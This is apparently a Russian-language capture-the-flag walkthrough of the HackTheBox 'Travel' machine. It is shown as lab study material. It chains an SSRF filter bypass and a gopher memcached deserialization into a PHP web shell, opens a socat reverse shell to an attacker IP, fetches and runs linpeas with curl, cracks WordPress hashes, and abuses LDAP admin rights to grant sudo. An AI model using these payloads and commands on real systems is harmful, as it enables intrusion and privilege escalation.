![](https://habrastorage.org/webt/mr/c0/bd/mrc0bd5m8kmlx_voihr_jwmlxs4.png)
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье разбираемся как с помощью PHP memcache и SSRF получить RCE, копаемся в базе данных и смотрим, чем опасен LDAP администратор.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.
10.10.10.189 travel.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500
![](https://habrastorage.org/webt/yb/nt/qc/ybntqczab0feqjkuoemlgibhdlo.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A travel.htb -p22,80,443
![](https://habrastorage.org/webt/fb/86/nb/fb86nbyjel8dtfweolo0miof5s8.png)
Таким образом, нам доступны служба SSH и веб-сервер nginx. Из скана видно, для каких DNS предназначен сертификат. Добавим их в /etc/hosts.
10.10.10.189 www.travel.htb
10.10.10.189 blog.travel.htb
10.10.10.189 blog-dev.travel.htb
Давайте посмотрим данные сайты. На первом находим описание площадки.
![](https://habrastorage.org/webt/db/rb/ab/dbrbabngkcgbhiow4ejhneu09jy.png)
На втором интереснее. Сразу видим, что это CMS WordPress, и находим форму поиска.
![](https://habrastorage.org/webt/co/4n/ln/co4nlnlmsxtv1-7yne3hc0cinno.png)
Быстро проверив сайт с помощью wpscan, ничего не находим. Идем далее и на третий сайт встречает на ошибкой 403. Давайте переберем директории. Я для этого использую gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w) и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html
![](https://habrastorage.org/webt/_s/rq/-q/_srq-qwumteubxjsms5w7yc9qjg.png)
Находим .git. Мы можем скопировать репозиторий.
![](https://habrastorage.org/webt/fv/7h/n5/fv7hn5c4-ahxy6tqgmzxde20x9q.png)
Сделать это можно множеством программ, я использую скрипт rip-git.
./rip-git.pl -v -u http://blog-dev.travel.htb/.git/
![](https://habrastorage.org/webt/gu/l3/ub/gul3ub8je1w1si9gpg8tvqlzk5g.png)
И в директории текущей директории мы увидим полученные файлы и .git репозиторий.
![](https://habrastorage.org/webt/m2/ag/ne/m2agne5wllzhp74frnkbkrbkzbg.png)
Используем gitk для работы с .git.
![](https://habrastorage.org/webt/ts/p_/ih/tsp_ihfy2kdwul519pvrqxhrshu.png)
Есть changelog, из которого отмечаем наличие кеша и проверок безопасности.
![](https://habrastorage.org/webt/hp/uz/p2/hpuzp2gytbgehodcf2za9iu_1sw.png)
В файле rss_template.php отмечаем memcache, наличие параметра url и файл debug.
![](https://habrastorage.org/webt/5y/o4/c_/5yo4c_9qc_jemt2h3kderb-uwxa.png)
Параметр должен содержать строку “custom_feed_url”. И скорее по данному адресу произойдет запрос.
![](https://habrastorage.org/webt/c6/zz/fl/c6zzfldlfgebu62g8wktbrozmaq.png)
RSS страница была на blog.travel.htb.
![](https://habrastorage.org/webt/e-/b-/ut/e-b-utgnapx6tvkd3dp1zouf6me.png)
Запустим локальный веб сервер и обратимся к awesome-rss, передав свой IP в качестве параметра.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120
![](https://habrastorage.org/webt/zc/nu/br/zcnubrxribhc5f2tef_waxchzdc.png)
И наблюдаем, что предположения верны. Стоит отметить, что если url отсутствует, то будет выбран www.travel.htb/newsfeed/customfeed.xml.
Entry point
В README сказано о перемещении этих файлов в wp-content/themes/twentytwenty (на это я обратил внимание при поиске файла debug.php). И файл debug можем найти именно там.
![](https://habrastorage.org/webt/dr/9z/iz/dr9ziz-m054gxw-vs88wujntph4.png)
![](https://habrastorage.org/webt/nr/77/37/nr7737yllgboawasyguw90scyzu.png)
Так, это все интересно и пока не понятно, но похоже на сериализованные данные. Давайте из всей информации соберем единое:
- Нам нужно обратиться на сервер и получить feed.xml файл.
- В функции, в которую передается url, используется API SimplePie (для которого есть хорошая документация) и memcache. Данная функция вернет объект simplepie.
- Функция url_get_contents представлена в template.php. При этом стоит проверка, которая не должна давать нам возможности обращаться к файлам на сервере. Но фильтр SSRF недостаточно корректный, так как обратиться к localhost мы можем и с помощью адресов 127.0.1.1, 127.1, 127.000.0.1 и т.п.
- Далее происходит отображение информации из файла feed.xml.
- Так же имеется класс TemplateHelper и функция init(), которая записывает переданные данные в указанный файл.
Осталось разобраться в какой файл в директории logs записываются сериализованные данные. Обратимся к документации:
![](https://habrastorage.org/webt/yd/6s/g1/yd6sg1x7nyd1q9chk5c3dw7dze8.png)
Таким образом, путь интерпретируется как MD5(MD5(url)+":spc"). Проверим это, а для этого скачаем файл xml из дефолтного url.
wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml
Теперь обратимся к RSS странице, передав в URL скачанный файл.
curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml
И получим сериализованные данные.
curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php
![](https://habrastorage.org/webt/oa/h9/9x/oah99xpczdkbgrvzjrunco4zyxs.png)
И теперь по указанной выше формуле рассчитаем интерпретированный путь.
![](https://habrastorage.org/webt/ml/fj/h3/mlfjh3wumiagiiop3fx3puxeups.png)
И первые 10 байт совпали! Вот здесь и намечается вектор атаки — PHP memcached и SSRF. Поиск в google вывел меня на этот скрипт.
![](https://habrastorage.org/webt/bg/na/nu/bgnanutzeza9fhcrpoa_5pru-a4.png)
Только нужно будет изменить код под наш случай. Cоздадим сериализованные данные.
code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'
Таким образом, мы запишем код <?php system($_REQUEST[«cmd»]); в файл ralf.php при десериализации. Больше всего интересует ключ xct_key, который мы уже можем рассчитать.
![](https://habrastorage.org/webt/2z/z7/2x/2zz72xllfagf6tpp7zvngt67br8.png)
Тогда получим следующий код для создания нагрузки.
encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload
И проведем десериализацию.
r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")
Полный код представлен ниже (как всегда картинкой).
![](https://habrastorage.org/webt/uz/ns/3q/uzns3qztjqkbnyt-r0zolq9cg9m.png)
![](https://habrastorage.org/webt/fu/zs/tp/fuzstpahlwr5ywhjnb8tdiozb4a.png)
Отлично, давайте кинем нормальный шел. Но так как с python pty возникли проблемы, сделаем бэкконнект шелл с помощью socat. Запустим на клиенте листенер:
socat file:`tty`,raw,echo=0 tcp-listen:4321
И подключимся с сервера:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321
![](https://habrastorage.org/webt/sv/74/gs/sv74gsk-dowbr9ak6p7uvnk8cie.png)
USER
Обычно в таких случаях, следует проверить пользователя базу дынных, при этом используется wordpress. Найдем файл wp-config.php.
![](https://habrastorage.org/webt/gr/2s/y1/gr2sy1urwju_zoozzknsj8lvt1k.png)
С этими учетными данными подключимся к mysql, наша задача найти таблицу wp_users.
mysql -h 127.0.0.1 -u wp -p
Просмотрим базы данных.
![](https://habrastorage.org/webt/uq/g0/wl/uqg0wlmfs_iidylngom6jvbowtc.png)
Давайте осмотримся в базе wp.
![](https://habrastorage.org/webt/te/-9/-3/te-9-3cvtmi9zn1htauvkyvz2h0.png)
![](https://habrastorage.org/webt/_k/xq/c_/_kxqc_llfa8hcwzhmzlypblqnwy.png)
И находим искомую таблицу.
![](https://habrastorage.org/webt/sr/5-/vg/sr5-vgyg2mqy_md1klxtkbuhddi.png)
Правда при попытке брутить хеш, получим неудачу. Таких паролей нет. Тогда я загрузил на машину скрипт linpeas и провел базовые перечисления.
curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh
Ничего особенного, кроме того, что мы в докер контейнере, не находим.
![](https://habrastorage.org/webt/sg/qo/37/sgqo37iaoqndivotqp3pozh_jt0.png)
Но данный скрипт не проверяет директорию opt. А так как раз находим бэкап базы данных.
![](https://habrastorage.org/webt/fi/un/ds/fiundspxyj2t3zvzmh5nhgegx_g.png)
Если посмотрим строки в данном файле, в конце присутствует запись о двух пользователях.
![](https://habrastorage.org/webt/ie/sa/k5/iesak51it5hz0pxjqzfbelo3iky.png)
А вот второй, как раз и брутится.
![](https://habrastorage.org/webt/f5/xi/t9/f5xit9m5_yngjhn0ji36juw-aoi.png)
hashcat -a 0 -m 400 wp.hash tools/rockyou.txt
![](https://habrastorage.org/webt/w1/qj/ni/w1qjniiclmngacxjvpsizybrici.png)
И с найденным паролем подключаемся по ssh.
![](https://habrastorage.org/webt/ql/ou/mv/qloumvutm9u1ot9pev3tcvkh230.png)
ROOT
Еще в рабочей директории пользователя находим два интересных файла — это .ldaprc и .viminfo.
![](https://habrastorage.org/webt/bl/yg/be/blygbeo_nqcgdcqgq3xddggetg8.png)
Давайте посмотрим, что внутри. Таким образом в первом файле находим ldap запись нашего пользователя.
![](https://habrastorage.org/webt/cq/bj/ik/cqbjiklvb2ivdetksi_vg80kzaq.png)
А во втором его ldap пароль.
![](https://habrastorage.org/webt/ff/vp/8f/ffvp8f8dz8tymkf9j_zo9vdi_q8.png)
Проверим его. Вызываем ldapwhoami с опциями -x (простая аутентификация) и -w (пароль).
ldapwhoami -x -w Theroadlesstraveled
![](https://habrastorage.org/webt/us/5_/g-/us5_g-nq5x2zyjfxklb3juz4_1g.png)
Мы видим запись из файла .ldaprc. Давайте запросим информацию.
ldapsearch -x -w Theroadlesstraveled
![](https://habrastorage.org/webt/ny/5w/xn/ny5wxnesexpfmsbd9rvymhz4bpe.png)
![](https://habrastorage.org/webt/5a/q2/uh/5aq2uhvb4rtznxvrfbesusozb-w.png)
Таким образом мы получаем список пользователей и узнаем, что являемся LDAP администратором. То есть мы можем создать SSH ключ для любого пользователя, изменить пароль и ввести в группу sudo! Группа sudo — 27.
![](https://habrastorage.org/webt/qx/fm/ea/qxfmeauoarnisugtprph7x0w0xw.png)
Создадим пару ключей.
![](https://habrastorage.org/webt/gz/su/uq/gzsuuqvs9q1q3mtlunrf-rudq9o.png)
Теперь составим файл конфигурации.
![](https://habrastorage.org/webt/hc/gc/vc/hcgcvcywdhn7-ijgq_rj02nmcls.png)
Применим их для пользователя frank.
ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f frank.ldif
![](https://habrastorage.org/webt/_c/af/k-/_cafk-nrynxlaflszkl3wylnviq.png)
И подключимся по SSH
ssh -i id_rsa frank@travel
А теперь используем sudo со своим паролем.
![](https://habrastorage.org/webt/ed/my/tz/edmytzo7ao1xns6dklzd465e0_e.png)
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.